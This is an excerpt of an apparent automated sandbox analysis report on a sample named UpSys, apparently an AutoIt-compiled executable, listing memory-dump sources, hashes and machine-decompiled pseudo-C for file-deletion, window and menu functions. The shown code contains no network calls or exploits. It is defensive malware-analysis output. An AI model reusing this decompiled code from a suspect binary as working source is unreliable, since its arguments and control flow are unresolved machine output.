                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 4e9c12617ba6e92b24eeb55b592545586b4ef17bf52e125bce52f3fcea251e43
                                                                                                                                                                                                        • Instruction ID: cb2ab7487520ba932c4240b18865afeadb136d2b1affeb37c3a9d0d3b04c00dc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4e9c12617ba6e92b24eeb55b592545586b4ef17bf52e125bce52f3fcea251e43
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 03F030B220454595EB23EB12E9013DA5760F7DC7D4FC41112B78D8B5BAEE3CC60ACB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140078D60 Relevance: 1.3, APIs: 1, Instructions: 28COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 62%
                                                                                                                                                                                                        			E00000001140078D60(void* __edx, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __rbp, signed int* __r8, void* __r9, void* __r10, void* __r11, long long _a8) {
				void* _t7;
				long _t8;
				signed int* _t18;
				intOrPtr* _t28;

				_t30 = __rbp;
				_t29 = __rsi;
				_a8 = __rbx;
				_t16 =  *((intOrPtr*)(__rdx + 8));
				_t28 = __rcx;
				_t18 = __r8;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				_t7 = E0000000114005A0D0(__edx, _t16, __r8, _t16, __rsi, __rbp, __r8, __r9, __r10, __r11); // executed
				if (_t7 != 0) goto 0x40078db4;
				_t8 = GetLastError();
				r8d = 0;
				E0000000114000FC40(_t8, _t16, _t18,  *((intOrPtr*)( *_t28 + 4)) + _t28, _t29, _t30);
				E00000001140007A40(_t18, _t18, _t29);
				 *_t18 =  *_t18 & 0x00000000;
				_t18[2] = 1;
				return 0;
			}







                                                                                                                                                                                                        0x140078d60
                                                                                                                                                                                                        0x140078d60
                                                                                                                                                                                                        0x140078d60
                                                                                                                                                                                                        0x140078d6a
                                                                                                                                                                                                        0x140078d6e
                                                                                                                                                                                                        0x140078d71
                                                                                                                                                                                                        0x140078d77
                                                                                                                                                                                                        0x140078d7f
                                                                                                                                                                                                        0x140078d86
                                                                                                                                                                                                        0x140078d88
                                                                                                                                                                                                        0x140078d91
                                                                                                                                                                                                        0x140078d9d
                                                                                                                                                                                                        0x140078da5
                                                                                                                                                                                                        0x140078daa
                                                                                                                                                                                                        0x140078dad
                                                                                                                                                                                                        0x140078dc0

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FileFind$CloseDeleteErrorFirstLastNext
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2191629493-0
                                                                                                                                                                                                        • Opcode ID: 7944afa3de4f909c1ce2b023f1fdb63eb962a73dde25ffb1adf5b9233c5390ec
                                                                                                                                                                                                        • Instruction ID: f20a77fa2acc7dcaaa15d5a8eccde8f09342d9450c82b0979e7dcbbba8ea5369
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7944afa3de4f909c1ce2b023f1fdb63eb962a73dde25ffb1adf5b9233c5390ec
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9AF05E7271064082EB51EB62E5957BE63A0A79DBC4F149410BF0E47766CE7DC4918741
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Non-executed Functions

                                                                                                                                                                                                        Function 00000001400698E0 Relevance: 74.0, APIs: 38, Strings: 4, Instructions: 453filecommemoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Global$CreateRect$File$DeleteObject$AdjustAllocClientCloseCopyDesktopDestroyFreeHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                                                                                                                                                        • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                                                        • API String ID: 2724474984-2373415609
                                                                                                                                                                                                        • Opcode ID: 95e5b48c53799bd6e6f06fdd655ac452b19e82689dddc4b13088cff95d1e17e8
                                                                                                                                                                                                        • Instruction ID: cc767648fc3fed117b0c0061c9ab824f31e6226c7e8dfcdb8f5419bf446c95dd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 95e5b48c53799bd6e6f06fdd655ac452b19e82689dddc4b13088cff95d1e17e8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5B226A32214A808AEB65DF6AE89479AB7A1F78CBD4F504515EB8E87B74DF38C445CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400837B0 Relevance: 72.2, APIs: 40, Strings: 1, Instructions: 495windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
                                                                                                                                                                                                        • String ID: 2
                                                                                                                                                                                                        • API String ID: 3481653762-450215437
                                                                                                                                                                                                        • Opcode ID: f8d49e6dfff67315b6d3d5d16be93a6cc136149519222ab41c9969c5f5530650
                                                                                                                                                                                                        • Instruction ID: 48c42f3bf63861010c8be98eb87e7ba213544e3359ece663152960101e898461
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f8d49e6dfff67315b6d3d5d16be93a6cc136149519222ab41c9969c5f5530650
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AB327D37204A8086EB66DF26E4547DA77A1F388BD8F505526FB8E43BA4CF79C585CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140065310 Relevance: 60.0, APIs: 32, Strings: 2, Instructions: 479windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: %d/%02d/%02d$P
                                                                                                                                                                                                        • API String ID: 3850602802-3070753401
                                                                                                                                                                                                        • Opcode ID: ebad7d9dbc750aac57651046597bcf1622d7ba36b6fcad40709b314941f530d7
                                                                                                                                                                                                        • Instruction ID: 221fb46d27054b87439bbfea2b51c93807f8a419d44fe88007af88c10e73edcd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ebad7d9dbc750aac57651046597bcf1622d7ba36b6fcad40709b314941f530d7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3E12D47220464186F7669F26E8947EE23A2F79CBC1F644915FB4E57BB4DF38C8458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140069330 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 275windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                                                                                                                                                                        • String ID: 2$7$AutoIt v3$DISPLAY$d$msctls_progress32$static
                                                                                                                                                                                                        • API String ID: 2910397461-2060845292
                                                                                                                                                                                                        • Opcode ID: 83b6aa0c145cdda9480ad02e1fc1897d849dbc5ff357a5f70b37d39f55214654
                                                                                                                                                                                                        • Instruction ID: 81a4524287b187ddd990eb9e747dd50c81cf8120ac1b5c128009fa6bb94c9c96
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 83b6aa0c145cdda9480ad02e1fc1897d849dbc5ff357a5f70b37d39f55214654
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 03D13376214B8187E7619F6AE884B9AB7B5F788BD4F600115EB8E47B74DF38C485CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140064760 Relevance: 46.0, APIs: 25, Strings: 1, Instructions: 491windowCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E00000001140064760(long long __edx, void* __edi, void* __esi, long long __rbx, void* __rcx, signed int __rdx, signed long long __r10, void* __r11) {
				void* __rsi;
				void* _t176;
				void* _t179;
				int _t181;
				intOrPtr _t190;
				signed int _t196;
				signed int _t200;
				signed int _t204;
				intOrPtr _t208;
				signed int _t227;
				signed int _t229;
				intOrPtr _t235;
				signed int _t236;
				signed int _t237;
				signed int _t262;
				void* _t270;
				void* _t271;
				void* _t282;
				void* _t337;
				void* _t360;
				intOrPtr* _t366;
				long long _t367;
				long long _t370;
				intOrPtr* _t374;
				intOrPtr _t375;
				intOrPtr _t377;
				intOrPtr* _t384;
				intOrPtr* _t391;
				intOrPtr* _t392;
				signed long long _t398;
				signed long long _t403;
				signed long long _t412;
				signed long long _t431;
				intOrPtr _t441;
				signed long long _t446;
				intOrPtr* _t458;
				signed int _t459;
				intOrPtr* _t461;
				intOrPtr _t462;
				intOrPtr _t464;
				intOrPtr* _t469;
				intOrPtr* _t470;
				intOrPtr* _t471;
				intOrPtr _t472;
				void* _t473;
				long long _t474;
				void* _t476;
				void* _t477;
				void* _t479;
				intOrPtr* _t480;
				void* _t482;
				void* _t483;
				signed long long _t487;
				void* _t497;
				signed long long _t501;

				_t505 = __r11;
				_t501 = __r10;
				_t280 = __esi;
				_t360 = _t482;
				 *((long long*)(_t360 + 8)) = __rbx;
				 *((intOrPtr*)(_t360 + 0x10)) = __edx;
				_t483 = _t482 - 0xc0;
				_t474 = __edx;
				_t477 = __rcx;
				_t176 = E0000000114004E0B0(__edi, __rcx, _t360 + 0x20, _t360 + 0x18, __r11);
				r10d = 0;
				if (_t176 != r10b) goto 0x40064798;
				goto 0x40064f6d;
				_t480 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xa0)) +  *(_t483 + 0xf8) * 8))));
				_t391 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xc8)) +  *(_t483 + 0xf0) * 8))));
				 *((long long*)(_t483 + 0x38)) = _t391;
				_t229 =  *(_t391 + 0xf4) & 0x000000ff;
				_t282 = _t229 - 0x11;
				if (_t282 > 0) goto 0x40064d41;
				if (_t282 == 0) goto 0x40064d30;
				if (_t229 - 2 < 0) goto 0x40064efd;
				_t270 = (__rdx | 0xffffffff) + 4;
				if (_t229 - _t270 <= 0) goto 0x40064d08;
				if (_t229 == 0xa) goto 0x40064c67;
				if (_t229 == 0xb) goto 0x40064a72;
				if (_t229 == 0xc) goto 0x400649d8;
				if (_t229 - 0xd <= 0) goto 0x40064efd;
				if (_t229 - 0xf <= 0) goto 0x400648a5;
				if (_t229 != 0x10) goto 0x40064efd;
				_t398 =  *((intOrPtr*)(_t391 + 0x78));
				if (_t398 == _t501) goto 0x4006483f;
				ImageList_Destroy(_t473);
				r10d = 0;
				if ( *((intOrPtr*)(__rcx + 0xe4)) - _t270 < 0) goto 0x40064efd;
				 *(_t483 + 0x30) = _t398;
				_t458 =  *((intOrPtr*)(_t398 +  *((intOrPtr*)(__rcx + 0xc8))));
				if ( *_t458 == _t501) goto 0x4006488d;
				_t487 =  *_t458;
				if ( *((intOrPtr*)(_t487 + 0x60)) !=  *_t391) goto 0x4006488d;
				if ( *((char*)(_t487 + 0xf4)) != 0x11) goto 0x4006488d;
				_t179 = E00000001140060AF0(_t270, __esi, _t391, __rcx, __rcx, _t476);
				r10d = 0;
				_t271 = _t270 + 1;
				 *(_t483 + 0x30) =  *(_t483 + 0x30) + 8;
				if (_t271 -  *(_t477 + 0xe4) <= 0) goto 0x40064855;
				goto 0x40064efd;
				if (0x18 != 0xe) goto 0x40064961;
				 *((intOrPtr*)(_t483 + 0x40)) = 0x50;
				_t28 = _t458 + 0x4c; // 0x4c
				r8d = _t28;
				E00000001140017520(_t179, 0x18, 0, _t483 + 0x44, _t458, _t487);
				_t403 =  *((intOrPtr*)(_t391 + 0x10));
				_t497 = _t483 + 0x40;
				r8d = 0;
				 *((intOrPtr*)(_t483 + 0x44)) = 4;
				_t181 = GetMenuItemInfoW(??, ??, ??, ??);
				r8d = 0;
				if (_t181 == r8d) goto 0x40064961;
				_t459 =  *((intOrPtr*)(_t483 + 0x58));
				 *(_t483 + 0xf8) = _t459;
				if (_t459 == _t487) goto 0x40064961;
				if ( *(_t477 + 0xe4) - _t271 < 0) goto 0x40064961;
				 *(_t483 + 0x30) = _t403;
				_t366 =  *((intOrPtr*)(_t403 +  *((intOrPtr*)(_t477 + 0xc8))));
				if ( *_t366 == _t487) goto 0x4006494e;
				_t367 =  *_t366;
				if ( *((intOrPtr*)(_t367 + 0x10)) != _t459) goto 0x4006494e;
				if ( *((char*)(_t367 + 0xf4)) != 0xf) goto 0x4006494e;
				E00000001140060AF0(_t271, __esi, _t391, _t477, _t477, _t479);
				r8d = 0;
				 *(_t483 + 0x30) =  *(_t483 + 0x30) + 8;
				if (_t271 + 1 -  *(_t477 + 0xe4) <= 0) goto 0x40064912;
				r8d = 0;
				if (DeleteMenu(??, ??, ??) != 0) goto 0x4006498f;
				r8d = 0;
				DeleteMenu(??, ??, ??);
				if ( *((intOrPtr*)(_t480 + 0x2a8)) == __edx) goto 0x400649c9;
				if (GetMenuItemCount(??) != 0) goto 0x400649c9;
				SetMenu(??, ??);
				DestroyMenu(??);
				 *((long long*)(_t480 + 0x2a8)) = _t367;
				_t412 =  *_t480;
				DrawMenuBar(??);
				goto 0x40064f06;
				if ( *(_t477 + 0xe4) < 0) goto 0x40064a40;
				 *(_t483 + 0x30) = _t412;
				_t461 =  *((intOrPtr*)(_t412 +  *((intOrPtr*)(_t477 + 0xc8))));
				if ( *_t461 == _t501) goto 0x40064a2d;
				_t462 =  *_t461;
				if ( *(_t462 + 0x10) !=  *((intOrPtr*)(_t391 + 0x10))) goto 0x40064a2d;
				_t190 =  *((intOrPtr*)(_t462 + 0xf4));
				if (_t190 == 0xf) goto 0x40064a1b;
				if (_t190 == 0xe) goto 0x40064a1b;
				 *(_t462 + 0x10) = _t501;
				goto 0x40064a2d;
				E00000001140060AF0(0, __esi, _t391, _t477, _t477);
				r10d = 0;
				 *(_t483 + 0x30) =  *(_t483 + 0x30) + 8;
				if (1 -  *(_t477 + 0xe4) <= 0) goto 0x400649ea;
				_t370 =  *((intOrPtr*)(_t480 + 0x2b0));
				if ( *((intOrPtr*)(_t391 + 0x10)) != _t370) goto 0x40064a67;
				DestroyMenu(??);
				 *((long long*)(_t480 + 0x2b0)) = _t370;
				goto 0x40064f06;
				DestroyMenu(??);
				goto 0x40064f06;
				r8d =  *(_t391 + 0xf7) & 0x000000ff;
				r9d = 0;
				 *(_t483 + 0xf8) =  *(_t480 + 0x29c);
				_t196 = E0000000114004E150(SendMessageW(??, ??, ??, ??), _t477,  *((intOrPtr*)(_t480 + 0x290)));
				r9d = 0;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t477 + 0xc8)) + _t196 * 8)))) + 0x78)) == _t497) goto 0x40064ae9;
				if (( *(_t391 + 0xec) & 0x0000ffff) == r10w) goto 0x40064ae9;
				ImageList_Remove(??, ??);
				r9d = 0;
				if ( *(_t477 + 0xe4) - 1 < 0) goto 0x40064c0f;
				r8d = 0x18;
				 *(_t483 + 0x30) = _t487;
				_t374 =  *((intOrPtr*)(_t487 +  *((intOrPtr*)(_t477 + 0xc8))));
				if ( *_t374 == _t497) goto 0x40064bf1;
				_t375 =  *_t374;
				_t235 =  *((intOrPtr*)(_t375 + 0xf7));
				if (_t235 == 0xff) goto 0x40064bf1;
				if (_t235 !=  *(_t391 + 0xf7)) goto 0x40064b4a;
				if ( *((char*)(_t375 + 0xf4)) == 0xb) goto 0x40064b48;
				E00000001140064760(1, 1, __esi, _t391, _t477,  *((intOrPtr*)(_t480 + 0x290)), _t501 | 0xffffffffffffffff, _t505);
				goto 0x40064be9;
				if (_t235 - 1 <= 0) goto 0x40064b52;
				 *((char*)(_t375 + 0xf7)) =  *((char*)(_t375 + 0xf7)) - 1;
				_t377 =  *((intOrPtr*)( *((intOrPtr*)(_t487 +  *((intOrPtr*)(_t477 + 0xc8))))));
				if ( *((char*)(_t377 + 0xf4)) != 0xb) goto 0x40064bf1;
				_t236 =  *(_t391 + 0xec) & 0x0000ffff;
				if (_t236 - r9w < 0) goto 0x40064bf1;
				_t200 =  *(_t377 + 0xec) & 0x0000ffff;
				if (_t200 - r9w < 0) goto 0x40064bf1;
				if (_t200 - _t236 <= 0) goto 0x40064bf1;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t487 +  *((intOrPtr*)(_t477 + 0xc8)))))) + 0xec)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t487 +  *((intOrPtr*)(_t477 + 0xc8)))))) + 0xec)) + r10w;
				_t464 =  *((intOrPtr*)(_t477 + 0xc8));
				 *((intOrPtr*)(_t483 + 0x40)) = 2;
				 *((intOrPtr*)(_t483 + 0x5c)) =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t487 + _t464)))) + 0xec));
				r8d =  *( *((intOrPtr*)( *((intOrPtr*)(_t487 + _t464)))) + 0xf7) & 0x000000ff;
				SendMessageW(??, ??, ??, ??);
				r9d = 0;
				 *(_t483 + 0x30) =  *(_t483 + 0x30) + 8;
				if (1 -  *(_t477 + 0xe4) <= 0) goto 0x40064b00;
				_t237 =  *(_t483 + 0xf8);
				if (( *(_t391 + 0xf7) & 0x000000ff) != _t237) goto 0x40064c2b;
				if (_t237 !=  *(_t480 + 0x298)) goto 0x40064c3f;
				goto 0x40064c3d;
				 *(_t480 + 0x29c) =  *(_t480 + 0x29c) | 0xffffffff;
				_t204 =  *(_t391 + 0xf7) & 0x000000ff;
				if (_t237 - _t204 <= 0) goto 0x40064c3f;
				r8d = _t237 - 1;
				 *(_t391 + 0xf7) = 0xff;
				E0000000114004CC30();
				 *(_t480 + 0x298) =  *(_t480 + 0x298) - 1;
				 *((intOrPtr*)(_t480 + 0x2a0)) = 0;
				goto 0x40064f06;
				if (_t204 - 1 < 0) goto 0x40064cc6;
				_t431 =  *(_t477 + 0xe4) << 3;
				_t227 = _t204;
				 *(_t483 + 0x30) = _t431;
				_t384 =  *((intOrPtr*)(_t431 +  *((intOrPtr*)(_t477 + 0xc8))));
				if ( *_t384 == 0xffffffff) goto 0x40064cae;
				if ( *((char*)( *_t384 + 0xf4)) != 0xb) goto 0x40064cae;
				_t262 = _t227;
				E00000001140064760(_t262, 2, __esi, _t391, _t477, _t480, 0xffffffff, _t505);
				r10d = 0;
				 *(_t483 + 0x30) =  *(_t483 + 0x30) - 8;
				if (_t227 - 1 - 2 >= 0) goto 0x40064c80;
				_t392 =  *((intOrPtr*)(_t483 + 0x38));
				 *((long long*)(_t480 + 0x290)) = 0xffffffff;
				 *(_t480 + 0x298) = _t262;
				 *(_t480 + 0x29c) = _t262;
				 *((intOrPtr*)(_t480 + 0x2a0)) = r10d;
				 *((intOrPtr*)(_t480 + 0x2a4)) = r10b;
				DestroyWindow(??);
				if ( *((intOrPtr*)(_t392 + 0x78)) == 0) goto 0x40064f06;
				ImageList_Destroy(??);
				goto 0x40064f06;
				_t208 =  *((intOrPtr*)(_t480 + 0x2e8));
				if (_t208 - r10d <= 0) goto 0x40064efd;
				_t337 =  *((intOrPtr*)(_t483 + 0xe8)) - _t208;
				if (_t337 != 0) goto 0x40064efd;
				 *((intOrPtr*)(_t480 + 0x2e8)) = r10d;
				goto 0x40064efd;
				r8d = 0;
				goto 0x40064e63;
				if (_t337 == 0) goto 0x40064e72;
				if (_t337 == 0) goto 0x40064e22;
				if (_t337 == 0) goto 0x40064d8c;
				if (_t337 == 0) goto 0x40064d79;
				if (0xffffffffffffffe5 != 2) goto 0x40064efd;
				E000000011400643C0( *_t384, _t392, _t477, _t392, _t477, _t480);
				goto 0x40064f06;
				E0000000114003CF70();
				goto 0x40064efd;
				r9d =  *(_t477 + 0xe4);
				if (r9d - 3 < 0) goto 0x40064efd;
				_t469 =  *((intOrPtr*)(_t392 + 0x18));
				if ( *_t469 == 0xffffffff) goto 0x40064dcc;
				_t470 =  *_t469;
				if ( *((intOrPtr*)(_t470 + 8)) !=  *((intOrPtr*)(_t480 + 8))) goto 0x40064dcc;
				if ( *((intOrPtr*)(_t470 + 0xf4)) != dil) goto 0x40064dcc;
				if ( *_t470 ==  *((intOrPtr*)(_t392 + 0x60))) goto 0x40064ddc;
				if (4 - r9d <= 0) goto 0x40064da7;
				goto 0x40064efd;
				 *((intOrPtr*)(_t483 + 0x28)) = r10d;
				_t441 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t477 + 0xc8)) + 0x20))));
				r9d =  *((short*)(_t441 + 0xf0));
				r8d =  *((short*)(_t441 + 0xee));
				 *((intOrPtr*)(_t483 + 0x20)) =  *((short*)(_t441 + 0xf2));
				MoveWindow(??, ??, ??, ??, ??, ??);
				goto 0x40064efd;
				 *((intOrPtr*)(_t483 + 0x90)) = 1;
				 *((long long*)(_t483 + 0xa0)) = _t474;
				if (SendMessageW(??, ??, ??, ??) == 0xffffffff) goto 0x40064791;
				r9d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x40064f06;
				if ( *((intOrPtr*)(_t392 + 0x68)) == 0xffffffff) goto 0x40064e84;
				ImageList_Destroy(??);
				r10d = 0;
				_t446 =  *((intOrPtr*)(_t392 + 0x70));
				if (_t446 == 0xffffffff) goto 0x40064e96;
				ImageList_Destroy(??);
				r10d = 0;
				if ( *(_t477 + 0xe4) - 3 < 0) goto 0x40064efd;
				 *(_t483 + 0x30) = _t446;
				_t471 =  *((intOrPtr*)(_t446 +  *((intOrPtr*)(_t477 + 0xc8))));
				if ( *_t471 == 0xffffffff) goto 0x40064eea;
				_t472 =  *_t471;
				if ( *((intOrPtr*)(_t472 + 8)) !=  *((intOrPtr*)(_t480 + 8))) goto 0x40064eea;
				if ( *((char*)(_t472 + 0xf4)) != 0x14) goto 0x40064eea;
